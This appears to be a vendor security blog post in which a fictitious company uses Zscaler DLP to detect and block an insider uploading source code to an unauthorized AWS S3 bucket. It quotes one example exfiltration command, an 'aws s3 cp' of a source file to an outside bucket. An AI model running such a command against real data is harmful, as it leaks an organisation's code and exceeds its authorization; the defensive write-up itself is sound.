Betrayal in the Cloud: Unmasking Insider Threats and Halting Data Exfiltration from Public Cloud Workloads

Introduction

In today’s digital world, safeguarding sensitive data, such as source code, is crucial. Insider threats are a worthy adversary, posing significant risk, especially with trusted employees having access to valuable repositories. This article explores how a fictitious software development company could use Zscaler security solutions to stop insider attempts to upload source code. By using Zscaler Workload Communications, the fictitious company detects and prevents unauthorized uploads, ensuring the security of its intellectual property.

Insider Threat in the Cloud and How to Stop Them 

A fictitious software development company relies on its source code repository as the lifeblood of its operations. Trusted employees have access to this repository to facilitate collaboration and innovation. To mitigate the risk of insider threats, the fictitious company implements Zscaler security solutions. Let’s explore how our products thwart an insider’s attempt to upload source code to an unauthorized destination.

Attack Chain

Use Case Steps

1. Trusted employee access: A trusted employee (insider) has access to the source code repository, enabling them to complete their job responsibilities. A simplified example of source code is shown below:

2. Insider threat incident: The trusted employee with legitimate access decides to misuse their privileges by attempting to upload source code files to an unauthorized destination—an AWS S3 bucket, with the intention of unauthorized sharing. 

or

user:~$ aws s3 cp sourcecode.c s3://bucket/uploads/sourcecode.c

Figure 1: This diagram depicts how Zscaler blocks insider threats

• Integration with Zscaler Workload Communications: The fictitious company’s source code repository is configured to route all outbound traffic through Zscaler Workload Communications, ensuring that data transmissions undergo rigorous inspection and security policies are enforced. 

• ZIA DLP engine implementation: ZIA leverages its powerful inline data loss protection (DLP) engine to analyze data traffic in real time. ZIA’s DLP policies are designed to identify and and prevent unauthorized attempts to upload source code files to external storage spaces. An example of DLP configuration options is shown below.

Figure 2: An example of DLP configuration options.

3. Detection and prevention of file upload attempts: As an insider attempts to upload source code files to the unauthorized AWS S3 bucket, ZIA’s DLP engine detects it as a violation of security policies. Leveraging advanced pattern recognition and behavior analysis, ZIA blocks the upload attempt in real time, preventing the exfiltration of company data. 

The figure below shows the source code file upload attempt failing in real time.

Figure 2: The source code file upload command receives an error when executed

The upload attempt, which was in violation of company policy, appears in descriptive log records, as shown below.

 

Figure 3: A log showing the failed source code file upload, along with important details like user, location, and destination

 

4. Alerting and response: The Zscaler security platform generates immediate alerts upon detecting the unauthorized upload attempt.

How Zscaler Can Help

Zscaler’s security products offer effective solutions against insider threats aimed at source code repositories:

Outbound Data Violation Trigger

By routing through Zscaler’s Cloud Connector, organizations can enforce security policies on all outbound data transmissions, including those from source code repositories. This integration ensures that every upload attempt undergoes through security checks, regardless of the destination.

Data Breach Prevention

Zscaler Internet Access (ZIA) features a powerful data loss prevention (DLP) engine that analyzes data in real time. Leveraging advanced DLP policies, ZIA can detect patterns indicative of unauthorized source code uploads. This approach enables organizations to prevent data breaches before they occur. 

Instant Alerts 

The Zscaler platform provides real-time monitoring of all network activity, including access to source code repositories. Any suspicious behavior, such as attempts to upload source code to unauthorized destinations, triggers immediate alerts. This allows security teams to respond promptly and prevent potential data exfiltration.

Conclusion

With cybersecurity threats on the rise, organizations must combat insider risks effectively. Zscaler solutions offer proactive measures against insider threats, as demonstrated by the hypothetical use case outlined above. By implementing robust DLP policies and real-time monitoring, organizations can protect their critical data unauthorized access and maintain data integrity. The Zscaler platform equips organizations to tackle insider threats confidently, securing their digital assets effectively.